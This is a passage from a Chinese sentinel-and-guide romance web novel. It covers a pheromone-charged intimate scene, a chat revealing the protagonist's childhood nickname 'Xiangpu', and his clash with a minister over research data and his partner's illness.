但是,如果论的是感情,闻璱反而认真地觉得,还没到这一步。 如果现在就这样按照弓铮皎的幻想继续下去,大猫骑士当然会很开心,开心到尾巴爆炸成烟花。 但AAA拔牙小鸭不喜欢这种被半推半就地赶上架的感觉,也不想在这里迁就。 斟酌思考的片刻时间,闻璱故意又释放了更多向导素。 高浓度的向导素 从皮肤、毛孔里渗出来,甚至隔着皮肉血管,让埋头在锁骨窝里的弓铮皎几乎觉得嗅到了骨头里的香气。 弓铮皎才恍然惊觉,这个肩窝也不是什么安全的贤者之地,只要和闻璱有接触就不行。 他终于狠下心使了些力,想用背把闻璱的双翼推拒开,但终究顾忌着不能伤到闻璱。 本就不太清醒的脑袋根本无法同时处理这之外的任何事,譬如,他根本没注意到,一双手趁机搭上肩头,勾住了他的脖颈。 在背脊与翅膀的博弈里,某个瞬间,闻璱倏然撤开双翼融合态。 弓铮皎没能来得及收力,几乎是反方向地仰倒下去,也在同一个刹那,眼前风景变得明亮,他才忽地意识到,闻璱正环着他,也同样被他的动作带了起来。 顷刻间局势倒转,弓铮皎侧身靠在床头,闻璱则趴在他身上,两只羽毛翅膀柔软地垂在身后,月光下映照出丝缎般的光泽。 而闻璱本人伸手摸了摸他的脸,带着浓郁向导素的气息喷吐在他眼下——又是那处抹过护手霜的位置。 “好烫,”闻璱用气音说,“你又进入热潮期了。” “对、对。”弓铮皎口不择言,“所以快放开我,不然我不知道会做出什么来,我自己都不知道——你也不会想知道的。” 闻璱的鼻腔溢出很轻的笑声:“我好像已经知道了。” 好吧,这似乎也已不言而喻。 弓铮皎几乎要被羞耻淹没,偏偏浑身被泡在闻璱的向导素里——真正而非幻想的向导素,让他浑身上下每一寸都酥酥麻麻,恨不得立刻翻身做主。 他想把闻璱抱在怀里吸干,甚至是含在嘴里,吞到胃里。 但他偏偏知道他不可以,如果他再只顾着自我满足,此刻珍馐就会成为他的断头饭。 刃齿虎这样的野兽捕猎时从来不需要设置诱饵,但此刻,弓铮皎明白,自己已经踩入桃色陷阱。 然而,他又忍不住沉浸在诱饵的美味中,即便离满足永远都还差一线,只要闻璱没有把拒绝的话说死,他就永远想要伺机而动。 弓铮皎咬牙切齿,明白闻璱的介入是什么意思了。 不仅如此,他更千万般地明白,再不离开就真的体面全无。 可他的身体却还是诚实地留在床上,彷佛刚才起身已经用尽了最后的力气。 就这么似乎僵持的短短几秒,闻璱有了想法。 他故意对弓铮皎的眼睛吹气,让向导素腻得弓铮皎眼前生理性地发花乱闪,逼弓铮皎用那一层薄薄的眼皮勉力抵抗,或许也是投降。 但这才是一败涂地的开始。 放弃视力的下一刻,闻璱没有给弓铮皎喘息和反悔的机会,用另一双小巧的翅膀抵住了弓铮皎的眼皮。 那双黑缎般的小翼从乌发间钻出来,大概在耳后的位置。 拟态融合之后,闻璱的人耳已不可见。 鸟类的耳朵则极小,几乎只有一个小洞,隐藏在羽毛中,这双小翼平日里就是用来保护耳洞的,作战时偶尔也用于辅助瞄准——遮住一只眼睛,以便融合态的视觉功能更适应于双眼位于头部两侧的鸟类视野。 如此粗暴地用小翼来阻挡他人视物,闻璱也是头一回。 弓铮皎果然下意识地慌了。 通过调整感官所获得的轻微共感,闻璱接纳了他的一小部分慌张,并私心地将另一些并不属于弓铮皎的反应也转递了过去。 多半份愉悦……嗯,这是奖励才对。 他也如此用言语“安抚”弓铮皎:“你只需要按我说的做就好了……没错,好乖。” 视觉被剥夺,接着是味觉,嗅觉,连听觉都被剥离出来,弓铮皎对环境的感知最终只剩下透过皮肤传来的香气,还有闻璱的声音。 “再乖一点好吗?把手背到身后,全都交给你的意识……” 好神奇,他们甚至没有什么接触——闻璱唯独保留了弓铮皎的触觉,可是,浑身上下,除了小翼与眼皮之外,他们没有任何其他的接触。 然而,那份触觉被加强了不知多少倍,又经由过滤,让拂过毛孔的吐息都像是抚摸。 于是,闻璱伸手捏住弓铮皎的手腕。 在触觉如此敏感的情况下,并不粗暴的动作就已经带来了微妙的疼痛。 那一瞬间,弓铮皎咬了一下牙,不知道究竟是他自称的“善于忍痛”是谎言,还是令他无法自持的是什么其它的感觉。 弓铮皎似乎也察觉到了这一点。 他已经完全丧失了主动权,虽然原本也任由闻璱掌控,但现在简直是令人感到愉快得可怕。 闻璱彷佛在直接拨弄他通往丘脑的传导通路,如此直观,如此清晰,如此强烈,如此无法逃避、不能否认。 以至于,弓铮皎觉得自己的意识似乎都慢了半拍。 圣所的星教育从未告诉过他,向导可以做到这个地步。 但是是闻璱的话……也合理吧……合理吗? 他没机会胡思乱想更多,闻璱按住他的脉搏,指尖在血管搏动的那一瞬拈过。 瞬间,一阵拨动琴弦的感官搓磨就将弓铮皎的意识拉扯回来,带着似乎是惩戒的微痛,引导他重新专注于感受上。 弓铮皎忍不住张了张嘴,但没能发出任何声音。 而他们距离太近,他颤抖的嘴唇粘贴闻璱鼻尖,便听到闻璱很轻地“嗯”了一声。 “现在是奖励时间,我的队长。”。 后半夜,弓铮皎视觉被解放,但双目放空。 他在思考:酒庄的冷餐是否被添加了某种致幻菌子,导致自己出现神经精神性的中毒反应。 事实上他在酒庄滴水未进。 而且他也不想否认刚才的一切是幻觉。 只是因为太超过了,他觉得他有点无法理解,虽然——某种程度上来说,其实什么也没有发生,闻璱只是摸了摸他的手腕。 但从同一种程度来说,闻璱起手就太超过了,弓铮皎连白旗都来不及举,就已经全线失守。 以至于弓铮皎很羞愧地承认,闻璱说得对,他确实需要循序渐进,也需要很长时间来总结错题本。 但这绝不是回味,绝非。 只可惜弓铮皎已经不受控制地开始回味了。 越想越不对头,弓铮皎觉得自己的生理机能也开始紊乱了。 最可怕的是一切感受直接被印刻在大脑皮层里,简直无所遁形。 他绕着床做了几十圈波比跳,才勉强能强迫自己把刚才的一切丢出脑海,片刻。 千万般庆幸,弓铮皎竟然觉得事后被赶回自己房间是个好消息,他头一次如此迫切地需要个人空间和隐私保护。 不然闻璱就会发现,热潮期安抚过后,他不仅没能消停,反而心跳长期过速,在房间里上蹿下跳地开始打空气军体拳。 几套拳下来,甚至又去楼顶浴池泡了个大澡,弓铮皎仍然觉得过于旺盛的精力无处挥散。 泡完下楼时,他发现天都快亮了,于是轻手轻脚地溜到客房门口听了一会儿。 闻璱的呼吸声很平稳,应该在深度睡眠中。 这也难怪,前半夜闻璱失眠了一会儿,后来又花功夫“奖励”他,奖励完两个人都出了一身薄汗,各自再冲完澡躺在床上,已经过了午夜。 不过弓铮皎不敢多想,因为一想起“奖励”这两个字,就会萌生一种发疯发狂发癫在阳光草地里奔跑的欲望。 弓铮皎连忙回屋,可是躺在被窝里,还是辗转反侧。 他一边单手伏地挺身一边拿出终端,给逄靥星发去一条消息:【hello,起了吗?】 天空中最亮的星:【?】 大猫骑士:【我想问你点事,关于你哥的。】 天空中最亮的星:【……】 天空中最亮的星:【可以,但你能别这么叫吗?太肉麻了。】 大猫骑士:【好的,只是私下这样。】 弓铮皎顿了顿,用出最大的叛逆孤勇:【你那天说,闻璱和蒲菜的渊源到底是什么?】 这条消息发出去许久,那边都没有回覆,叫弓铮皎心惊肉跳。 然而他后知后觉地想要撤回消息,销毁证据时,却被提示消息发送已经超过两分钟,无法撤回了。 弓铮皎沉思片刻,只能用出精神胜利法——他在自己的页面里,单方面删除了这条消息的记录。 天空中最亮的星:【就这???你就为了问这个?】 天空中最亮的星:【不是,那天回家你没问闻璱?】 大猫骑士:【闻璱不让我问。】 冒险问一遍逄靥星这事,已是他最大的叛逆,现在他诚心忏悔,已经做好了逄靥星回一句“那他也不能说”的准备。 天空中最亮的星:【那你还问?】 果然。 却没想到很快又接了一条。 天空中最亮的星:【我可以冒险把这个秘密告诉你,但你也得帮我一个忙。】 大猫骑士:【可以。】 大猫骑士:【不背叛闻璱的,就可以。】 天空中最亮的星:【……你怎么那么听他话啊。】 天空中最亮的星:【不过没关系,这次不是骗他,只是让你提前帮我打探打探消息。】 天空中最亮的星:【至于那个渊源嘛,其实很简单,闻璱爱吃蒲菜,而且其实他有个小名就叫香蒲。】 这话题彷佛打开了逄靥星追忆童年的话匣子,弓铮皎还没追问,逄靥星就一股脑地全抖了出来:【我们老家水盘镇边上以前有一小片芦苇荡,也有很多香蒲,闻璱从小就喜欢在那片芦苇荡玩。但他又嫌弃别人玩过的水太脏,所以每次都偷偷摸摸一个人去——唉他这种强迫症就是这样。】 【有一天,闻璱在那里觉醒了精神体。一开始他还不知道那是精神体,非要给丑小鸭找鹅妈妈,但水盘镇以前没出过特种人,普通人又看不到精神体,他也不知道普通人看不到,总之就是没人相信,大家都以为他产生了幻觉。】 【有一段时间,他每天跑去芦苇荡,非要捧着精神体挨家挨户问。他经常沾一身香蒲毛毛,但他觉得其中一定有丑小鸭的绒毛,就非要用这个证明丑小鸭真的存在,但大人能发现的肯定只有香蒲毛。然后有个讨厌的邻居就说他得精神病了,还编了个什么小香蒲找妈妈的童谣。闻璱倒没有很在意,结果我妹这死小孩一听就记住了,张嘴学说话第一句就是这么喊……当然后来妈妈觉得这名字也挺可爱,就也变成闻璱的小名了。】 弓铮皎便想起来,之前在特种人医院见过一次逄宵月,那时她确实管闻璱叫“香蒲哥”。 倒是没必要和当时都没学会说话的小孩计较,但其他人就不可饶恕! 他忍不住问:【那后来呢?】 天空中最亮的星:【后来精神体渐渐成熟,长出来黑色的羽毛,没法和香蒲毛絮混淆。闻璱和我也进城被扫盲,知道那是精神体了,当然就不再找了啊。】 大猫骑士:【我的意思是,你不也是特种人吗?你为什么不相信他?就让他一个人?】 天空中最亮的星:【你说巧不巧,研究表明有极少数的特种人几乎不受精神体习性影响,我还真就是那少数派,一直没有任何异常。而且我是在扫盲前一个月才觉醒的,那会香蒲已经是他的小名了。不过妈妈管他叫小鹅更多,村里的小孩更喜欢管他叫香蒲哥——不过你别误会,他们可不是嘲笑,一个个都恨不得当闻璱的小尾巴。闻璱也不在意,而且他是真的爱吃香蒲。】 大猫骑士:【……好吧。】 弓铮皎没说什么,把终端扣了起来。 他在心里想:没事的,你家邻居马上就会迎来另一个暴力的传说:卖巴掌的大老虎。 ——也别误会,这也是为了扫盲。 第59章 没门! 天空中最亮的星:【你什么时候有空出来见个面?我的事不好在网上跟你说。】 天空中最亮的星:【现在?】 弓铮皎翻身起床,靠在玄关门边,回道:【今天不行。】 天空中最亮的星:【有事?】 大猫骑士:【有。】 大猫骑士:【该去小黑屋了。】 话音才落,弓铮皎伸手按掉了还没来得及正式响起的可视门铃。 他闪身钻出去,立刻背手柄门在自己身后关上,另一只手则比了一个“嘘”的手势:“小点声。我跟你们走。” 玄关的阵仗可不小,事关希冕创辉董事长一家,柳部长和警卫部长都亲自出动了。 一见弓铮皎,柳部长的眉头拧成了猫挠过的毛线团:“你和闻璱干什么了?” 弓铮皎上一秒还自认无懈可击的心防,就这样轻而易举地被击溃,他脸颊飞红,愣愣地“啊”了一声:“你怎么知道?” 柳部长脸黑如墨:“你身上都是他的向导素!你们真发生关系了?真是……闻璱真是不自爱!” “喂,别乱给他泼脏水啊。”弓铮皎立刻辩解,“我们是正当关系——虽然没有登记是违规了,但哨兵和向导的关系是受法律保护的,怎么就不自爱了?” 这话简直是在戳柳部长的脊梁骨——柳部长曾经和邵教授那段向导间的秘密婚姻,就无论如何都不受法律保护。 气得柳部长牙都快要咬碎了:“把他带走!” 一声令下,全副武装的警卫立刻上前,给弓铮皎扣上束缚带和新的电击环。 弓铮皎也不反抗,就这样乖乖地被安排。 临被押上装甲车前,弓铮皎还是忍不住随便凑近了一个警卫问:“我身上真有向导素吗?” 警卫都是哨兵,只不过出警时为了避免受到向导素影响,身上都佩戴着过滤器。 为了回答弓铮皎的问题,警卫不得不摘下过滤器,鼻尖轻动了动,才道:“闻不到。” “闻不到就对了。”柳部长冷冷回头,“浓度很低,大概只有向导能感知到,闻璱就是为了恶心我。” 弓铮皎:“……” 很不好意思地说,他又爽到了——全世界的向导都他身上有闻璱的向导素,偏偏还不会便宜其他哨兵,简直爽死谁了。 弓铮皎转头对警卫道:“谢了哥们。” 警卫:“……不用谢,应该的。” 警卫态度微妙,弓铮皎便多打量了他两眼,突然发现只有眼前这个警卫多肩头多一道杠。 也就是说,职称更高,那他应该是…… 恰好有其他警卫来报告:“彭部,检查完毕,一切正常。” ……是彭枭他爸,警卫部长彭长空。 但彭长空只是若有所思地看了弓铮皎一眼,就戴回过滤器,态度还算公事公办:“出发。” 弓铮皎:“……” 也挺好…… 临近午饭时间,闻璱才睡醒。 这觉睡得很好,醒来发现小黑还在枕边更是好上加好。 唯独不好的是,拿起终端才发现,又被消息轰炸了。 他按照顺序依次看下去,先是弓铮皎的留言,说他先去小黑屋了,然后是逄靥星发来截图问弓铮皎怎么去小黑屋了,接着…… 接着是千篇一律的询问:彭枭和弓铮皎又来找你麻烦了? 闻璱:? 彭枭?怎么还能有彭枭的事? 更不用说弓铮皎——他不是自己去小黑屋了吗? 莫名地,闻璱有种很不好的预感。 循着这莫名其妙的预感,他打开论坛,果不其然,一片飘红的“HOT”帖子,全都是类似的标题: 【劲爆!警卫部一大早把闻璱工作室给堵了!某捞男事件又有新情报?!】 闻璱:“……” 好棒,他一点都不意外耶。 点开帖子,居然还有配图,隐私模式自动打码了照片里的所有面孔,但从装束就能看出,警卫部出动的阵仗不小。 楼主似乎就住在附近,早上晨练时路过楼下,被吓了一跳,当场发帖。 而这帖子其实不要紧,问题是后来有人回帖: 【小道消息,昨天东郊那个私人酒庄发生了事故,警卫部也出动了,据说那是某饺家的酒庄哎,你们说,会不会也和ws有关?】 【这就想多了吧,ws再怎样,也不可能把手伸到饺家的宴会上吧。】 【不过,普通人的宴会为什么会出动警卫部啊?警卫部不是专管特种人事务的吗?】 【只能说明某饺和px的关系是真铁啊。】 【本来觉得都是过度解读,直到我看到照片里有pck,脸码了我也能认出来。封个楼带走个向导怎么用得着他出动?px他爸很严格的,不可能因为px私人感情那点小事徇私枉法,一看就只能是饺家那边施威了,楼上实锤。】 【突然觉得ws也有点命苦,一惹就惹到饺这种级别的天龙人,唉。】 【还不是因为他要捞?真是的,也是他眼界太高,要是捞我,指不定我也就打碎牙齿活血吞,忍了。】 …… 闻璱:“……” 关于他自己的倒是没什么值得说道的,但弓铮皎就这样被网友套上了“和彭枭关系真铁”的黑锅,他确信,等当事人从小黑屋出来之后,肯定又要发大疯了。 洗漱过后,闻璱骑着小电驴一路去了白塔总部。 小黑被他揉了揉叠了叠,勉强挤进后备箱,随身携带。 在警卫部登记之后,闻璱奇异般地被放了进去,甚至没有人要求他收回精神体。 连闻璱自己都有些惊讶于此行过分顺利。 抵达疗愈中心之后,他被立刻带到了熟悉的办公室,桌上的名牌是:精神防卫部部长。 这是疗愈中心的学名,也是柳部长的职称是部长的原因。 闻璱在沙发上坐下,悠闲地撸了一会鹅,办公室的主人就回来了。 一见闻璱,柳部长张口便是讽刺:“在这看到你真是一点都不意外啊,闻璱,整个白塔,我真找不到第二个比你更天真的傻白甜向导。” 闻璱并不与他争口舌,开门见山就问:“弓铮皎什么时候能出来?” 柳部长脸色更黑:“他犯规了,呆着吧。” “他没有造成任何恶劣后果,反而在危急关头阻止了两起意外发生,即便有违规在普通人面前使用精神体的行为,也属于事急从权,情有可原,疗愈中心无权将他收容。”闻璱道。 “别人不知道,我还不知道,你用得着他救吗?”柳部长冷笑一声,“再说了,有普通人举报,看到了他的精神体。他居然能让精神体被普通人看到,这才是最严重的违规行为,这你心里应该很清楚。”柳部长冷笑。 闻璱从容反问:“此前这类事故不是没发生过,导致精神力异常波动的原因,你已经审讯过了,我不信你不知道发生了什么。” 他对自己在弓铮皎潜意识里懂的手脚很有信心,更何况昨天晚上还确实给了弓铮皎甜头,双管齐下,不可能露出马脚。 顿时,柳部长的脸又是青又是黑:“谁知道他是不是装的?况且,他还在监控期内,却违规摘除了电击环,这件事我还要再细细审问。” 闻璱就知道他会这么说。 他端起桌上的水轻抿一口,润了润唇,淡声道:“我们要做艾,为了防止电到我,我当然得把电击环摘了。你如果这么喜欢看活春宫的话,当然可以回去再审几遍,问个够。” 催眠式的审讯会发掘出潜意识,弓铮皎的精神图景又无法进入,闻璱有信心,柳部长审讯再多次,也只能探查出他在弓铮皎脑袋里虚实结合编织好的那些信息。 虽然还不至于看活春宫那么具象化,也绝对不是柳部长这个深度厌哨患者能忍得了的。 闻言,柳部长果然面如菜色,压低了声音怒道:“闻璱!你好赖不分吗?以前我让你留下的时候,你拒绝了,既然如此,就别插手希冕创辉这些事!你是不是忘了之前差点铁窗泪了?” 论迹不论心,就算柳部长当年雪中送炭是有目的性的,这份雪中送炭的方便,闻璱铭记于心。 闻璱不会因此被裹挟未来,寸步难行,但柳部长提起这件事,难免让他的态度软了半分。 况且,柳部长的反应说是恼羞成怒也可,说是隐晦的提醒也不无道理。 他沉默了一会,顺着柳部长说:“明哲保身,对吧。” 嘴硬的柳部长并没有承认,只是阴沉地盯着闻璱和小黑。 半晌,他从口袋里拿出一个U盘放在桌上,推向闻璱:“你的课题数据,拿着它闭嘴吧,以后也别再掺合进这些事来。” “些?”闻璱瞟了一眼U盘,似笑非笑,“这一切难道不是一件事?” 他凝视着柳部长:“三十年前,你们研究人造特种人;后来,邵教授带我进入替代向导素的课题;而现在,我不知道你们又想做什么,但想也知道,和这脱不开干系——我也很好奇,一个已经失败的课题数据对你们来说究竟有什么用?” 柳部长避而不答:“看来张律师和你说了什么,你可以把他的话都当作是真的,他父亲的结局你知道了——正因如此,你不想步后尘,就别再妄想和资本作对,妄想从这份数据里找到治疗弓铮皎的办法,那不可能。” 闻璱一怔,蹙眉问:“什么意思?” 他早就怀疑希冕创辉用假诊断欺骗弓铮皎,意图让弓铮皎将来自愿接受安乐死。 可柳部长的话语竟然如此言之凿凿,顿时让闻璱疑惑——学者往往不会说如此肯定的话,除非有证据支撑。 难道柳部长也在希冕创辉的授意下,使用这份数据来研究弓铮皎?当然,很大概率是反向研究让弓铮皎病情恶化的办法。 更往深想,会不会从一开始得病背后,就有希冕创辉和柳部长的手笔? 闻璱心里陡然冒起火来,说不清楚是为了谁,兴许是为了他自己更多。 柳部长不知道,医生也不了解,除了弓铮皎之外,没人清楚,闻璱也同样因病饱受困扰。 而且就在昨天晚上,他才觉得自己的病情有了眉目,现在却告诉他很有可能是他想多了,康复什么的根本不可能? 他才要说:没门! 反问一出,柳部长明白,自己失言了。 闻璱罕见地沉了脸色,拧着眉头,凝视柳部长的一呼一吸:“他到底是怎么回事?你把话说清楚,我才能忍心作出决断。” 他已经是当事人,宣告弓铮皎的必死几乎也意味着宣告自己也没救,且不说感情因素,闻璱首先接受不了这个。 柳部长看着闻璱很少如此不悦的表情,轻描淡写地移开视线:“和希冕创辉其实关系不大,只能说他运气不好……千万人里,只有他这么倒霉,就是这样。” 倒霉——闻璱也曾这样想,为什么倒霉患病的是自己。 现在这样想更生气了,如果弓铮皎是身份敏感而倒霉,那自己算什么? “总之,”柳部长看着闻璱膝头的小小黑,又重复了一遍,一字一顿,“他死定了。” 第60章 我的小鹅。 柳部长是个锯嘴葫芦,到最后,闻璱也没能问出更多消息来。 但无形的交锋到底让两人各退一步,柳部长松了口,让闻璱一会就把弓铮皎带走。 “不要妄想自己总是能做救世主。”柳部长对闻璱道,“利益、资本、强权、社会舆论,这些都暂且不说,人类永远无法与自然规律相抗衡。” 他竟有些惆怅:“曾经轶榕的结果,你也看到了。” 试图让哨兵脱离向导素,从而解放向导,却迎来了惨痛的教训。 闻璱没应声。 不过,他没忘记临走之前拿上柳部长桌上的U盘。 在等待手续办理的时间,闻璱坐在等候区的沙发上,第一次有种喘不过气的愤怒感。 运气不好……凭什么?凭什么?凭什么! 他查找不到回答,心里反而不服输地想,弓铮皎偏得活下去,就算为了给自己打个样,也为了让一口咬定的柳部长把说出去的话吞回去。 少有的情绪化时刻影响了小黑,小黑从睡梦中醒来,开始毫无章法地满地乱跑,简直是焦虑和烦躁的具象化表现。 疗愈中心的灯光本就昏暗,职工又多数是向导,几乎没人能看清那是什么,只见一团黑影在近地面低空疾行,但灵巧地避开了所有人。 在公共场合让精神体满地发疯,闻璱平日里会认为这种行为很没素质。 但现在他就想当个没素质的人。 一直到弓铮皎被释放出来,闻璱还是挂着脸,小黑也还是在发疯。 这只没怎么作恶的鹅终于被一双更快的手逮住,当场被捞到怀里,自己把自己固定住了——弓铮皎一头雾水地看着小黑用修长的脖颈在自己脖子上绕了一圈,彷佛黑色版哈达。 闻璱的目光也随之落在弓铮皎身上。 和上一次相比,弓铮皎的状态不能说是差,简直就是非常好,临时标记的微弱连接让他在小黑屋里也不再丧失所有感官。 不过,他脖子上还是多了一个新的电击环。 闻璱瞥了一眼小黑,淡淡地说了一句:“走。”就转身离开。 弓铮皎更是迷茫,这一次,他在小黑屋里都没怎么紧张,倒是见闻璱这幅样子,紧张得脑筋乱转。 两人一道离开疗愈中心骑车回家,路上一直安安静静,没人说话。 直到回家,在玄关边换鞋的时候,弓铮皎终于给自己找到了一口锅背上,很虔诚地说:“对不起,让你生气了,我要跟你道歉。” 闻璱:? 他挑了挑眉,是疑惑好奇不解,但在弓铮皎眼里,这微妙的表情意味着:看你表现。 弓铮皎立刻融合出尾巴绕在闻璱脚踝,人也蹭过来,眼巴巴地看着闻璱:“我问了逄靥星之前你不让我问的事,对不起,但我真的太好奇了——昨天我睡不着,忍到今天早上实在忍不住了,所以才……” “总之,是我又不听你话了,你惩罚我学狗叫好了,汪汪。” 闻璱:“……” 首先,学狗叫是弓铮皎又在偷偷奖励自己;其次,弓铮皎不提这事他都快忘了;况且,这事他只是在餐桌上一时好面子不想让逄靥星到处乱说,并不会真的为此生气;最重要的是…… 最重要的是,学狗叫明明是弓铮皎又在奖励自己! 在弓铮皎融合出耳朵蹭他之前,闻璱一把捏住弓铮皎的鼻子,随口道:“没关系,知道就知道了。” 见闻璱对此似乎并不介意,弓铮皎眨了眨眼睛,立刻蹬鼻子上脸:“那我能喊你‘小鹅’吗?” 闻璱:“……” 这种展开也真是一点都不让人意外。 无语了三轮又三轮,闻璱斩钉截铁:“不行。” “好吧。”弓铮皎有点失望,但也说不上很失望,毕竟从一开始,他也没对这个异想天开的请求能被准许抱有太大的希望。 而且,闻璱也就能管管他的嘴,他当然可以在心里偷偷…… “反正我说不行,你也会在心里偷偷行的。”闻璱凉凉地看着他。 弓铮皎装乖:“就喊了一声。” 被弓铮皎这么一插科打诨,闻璱的心情多少平静几分。 收拾进屋之后,小黑又开始睡觉了,只不过脖子还挂在弓铮皎脖子上,这画面实在有够小众。 这很合理,似乎自从闻璱按照“代偿”来推测之后,小黑就真的被“代偿”得嗜睡起来。 但也很不合理,因为按照柳部长的意思,这件事远没有这么简单。 好在闻璱能感应到,和它的连接一直在,并且越来越细腻了,比如现在小黑就在通过连接隐隐表达一种——去医院的话我就再隐身给你看的任性。 闻璱拿这只比弓铮皎还叛逆的鹅真是没有一点办法,只能摸了一把,吩咐弓铮皎:“你抱着吧。” 弓铮皎简直觉得是天降馅饼呢,一边撸鹅一边问:“那你刚才为什么不开心?” 提起这事,闻璱原本因无语而松快了两分地心又沉了下去。 他在沙发上坐下,认真道:“我得先给你打个预防针——不是什么好消息,但是,我不会放弃的。” 弓铮皎也被他感染地认真起来:“我听着呢。” “其实我一直怀疑你在医院拿到的检测报告是否属实,所以,我今天和柳部长见了一面,从他手里拿到了数据拷贝件,本来是想看看有没有什么线索,让你也有点信心。” 闻璱说着,从口袋里拿出芯片放在桌上,语气一变:“但是,我听柳部长的意思,这件事的情况实在复杂,有隐情是一定的,我现在也不知道该信哪句话,不相信那句话。” “那你呢?”弓铮皎突然问,“这和你的病情有关吗?” 闻璱愣了愣,道:“或许有……我不知道,但我肯定不会放弃的。” 顿了顿,他又补充道:“而且我的情况至少比你明朗。” 至少目前看来,弓铮皎的病情一直比闻璱更危险——不知道会不会发生的 神游、图景萎缩,永远是悬在哨兵头顶的达摩克利斯之剑。 但对于闻璱来说,不管内情如何,现在好歹是和小黑连接上了,幸运的话,闻璱大可以不追究,就这样糊涂下去,似乎也不会有太大影响。 而且,张律师还说过,弓铮皎是很重要的一环? 可惜张律师现在在希冕创辉监管下的高级病房,闻璱之前发消息询问是否能够探视,得到了很官方的婉拒。 看来永不空军那个小号也在希冕创辉的手里,要么张律师拉闻璱跳楼之前还周全地把聊天记录也处理了……要么就是,张律师给出的信息或许反而起到了误导作用,因此,希冕创辉至今没有追究闻璱。 闻璱愈发觉得每个人的话都大有文章。 尤其对张律师,闻璱颇有一种恨铁不成钢的恼怒感。 如果真的是希冕创辉害得自己和弓铮皎患上必死的绝症,闻璱才不会搞那么迂回的复仇方式,他恨不得搞几斤炸弹直接跟宫董爆了。 “那就好。”弓铮皎松了口气。 “你没有明白吗?你的情况……” 话未说完,闻璱看着弓铮皎有些怜惜的表情,突然不知道该说什么了。 他一直觉得弓铮皎原本的求生意志就太薄弱,回来的路上,甚至一直在思考这些信息究竟该不该如实告诉弓铮皎,生怕因此令弓铮皎又消极下去。 也因此,他本以为弓铮皎听完这些话会生气、会难过、会失望……唯独不包括会这样,心疼之余,还夹杂着几分莫名其妙。 闻璱道:“你这是什么表情。” “那我该什么表情?”弓铮皎有些迷茫地问,“就只是这样而已啊。” “……那你还想怎样。”闻璱也罕见地迷茫了。 “这……”弓铮皎挠了挠头,“我觉得你说的这些,对我好像没什么影响。” 闻璱比他还要费解:“怎么会没有影响?这件事是我不够周全,让你的心里大概不太舒服。你有情绪很正常,但是,之前答应我的事不许反悔。” 闻言,弓铮皎沉默了。 但与其说是心有芥蒂的尴尬沉默,倒不如说是欲言又止的无奈沉默。 他看着闻璱,有些为难地张嘴又闭嘴,艰难道:“原来你想要课题数据是为了鼓励我,我都不知道……” 闻璱:? 弓铮皎:“……我都做好用意志力硬扛病魔的准备了。” 他声音很小地复读了一遍那荒谬的要求:“不能为你创造医学奇迹打败病魔,我有什么资格说爱你?” 闻璱:“……” 弓铮皎:“……” 面面相觑了半晌,闻璱意识到弓铮皎是认真的,弓铮皎也意识到,闻璱之前并不是认真的。 至少这句无理的要求,并不是百分之百认真的。 弓铮皎才突然明白过来,闻璱的设想里自己该是有什么反应。 只可惜他早就并不寄希望于外力了,如今从蛛丝马迹里扒拉出闻璱的关切,即便他清楚闻璱和自己的病友关系,也明白,这意味着这份关切里有一半也是为了闻璱自己。 但弓铮皎还是忍不住尾巴绞得越来越紧。 “你对我也太好了吧。”弓铮皎说。 兴许心情一好起来,脑子也忽地灵光了,弓铮皎贼心不死:“那我这么乖,能申请一个奖励吗?” 只可惜,意图感太强,闻璱一秒就识破了弓铮皎想要的是什么。 明明现在不是想这些鸡毛蒜皮的小事的时候,尤其按照闻璱一贯行事风格,更不该纠结这些有的没的。 然而闻璱不得不承认,相处久了,很难不被带跑偏。 他弯腰解开自己脚踝上毛茸茸的大尾巴,以此掩住微微发热的脸颊,声音低不可闻:“随便你吧。” 弓铮皎欢呼一声:“小鹅!小鹅宝贝——” 闻璱猛地起身,长发狠狠抽过弓铮皎,粉红的眼中带了一丝愠怒:“但我没说你可以在后面加后缀。” “嗯嗯,以后不加了。”弓铮皎千依百顺地粘贴来,又念道,“小鹅,幸好你的ID不叫拔牙小鹅,不然大家都会这样叫你,太可惜。” 这原本不是个多令人羞耻的小名,偏偏被弓铮皎喊多了,叫闻璱生出几分没由来的羞耻来。 他当然也能用同样的咒语回击,而且,弓铮皎对被喊网名的反应可比自己大多了。但如果真的这样互相喊对方小名,实在幼稚得太过分,跟小孩斗嘴有什么区别? 闻璱拉不下脸,更拉不下年纪。 他盯着弓铮皎试图用目光施压,却不知道在弓铮皎眼里,这是如何一番含情脉脉、含羞带怯的美人薄怒图。 让弓铮皎更是爽得直白,爽得透彻,爽得不可言说,爽得天灵盖起飞。 看到闻璱眼边那一抹微窘的绯色,弓铮皎眼睛都亮了,恨不得色胆包天地上去嘬两口。 幸好弓铮皎知道一顿饱和顿顿饱的区别,没有真的这样做,只是用肩膀蹭了蹭闻璱的肩。 闻璱偏开了脸,白发里只剩下两只泛红的耳尖。 弓铮皎便对其中一只轻声说:“小鹅,你可以靠在人宽阔的肩头。” 小鹅当然恼羞成怒地甩开他,转身进了屋。 但弓铮皎肩头怀里还有另一只小鹅。 他一边摸着小黑的脑袋,一边在心里说:小鹅,我的小鹅。 人想把你捧在手里,含在口中……吞进胃里。 60-70 第61章 婚前性行为对新时代青年的必要性。 计画虽然有变,闻璱没浪费太多时间在处理情绪上,还是按照原本的计画,细细检查起弓铮皎三年前的数据,又拎出两人的任务记录分别对比。 课题数据不出所料,一切正常,似乎没能提供任何线索。 倒是任务记录,不查不知道,一查还真查出一个不知道能不能算是切入点。 五年前,他们都接过一个Secret-1的定向委托,发布委托的甲方也相同,都是星海能源。 为了保护甲方的隐私和利益,定向委托不允许任何性质的私下交流,违规将面临巨额罚款,但总是拦不住两个人面对面口口相传。 闻璱和弓铮皎一对账,又询问了同样接过这个委托的逄靥星和冬歆亭,竟然发现,连委托内容都一模一样。 S-1的委托本就不多见,由星海能源这个普通人企业发布更是罕见,因而两人都对这趟经历记忆犹新。 委托要求很简单:深入污染区一区,在某个平平无奇的坐标布设仪器,并在一定时间后带出仪器收集到的数据上交。 而报酬的积分则很丰厚,是与任务难度不相符的丰厚——然而,考虑到这是罕见要求单人独立完成的委托,坐标又位于一区深处,或许有些闻璱并未遭遇的潜在风险,是委托时没有被告知的考虑。 不过,闻璱现在对这个潜在风险自己是否真的“并未遭遇”,改持保留态度。 结合柳部长的话“运气不好”,会不会这个潜在风险,就是导致自己和弓铮皎呈现罕见病症的根源? 不论如何,闻璱又将重返污染区提上日程——但这件事暂且不那么着急。 他沉吟片刻,徐徐安排起来:“下周回水盘镇,不过,在那之前……”他支着下巴,眯眼看弓铮皎,“我们先去登记。”。 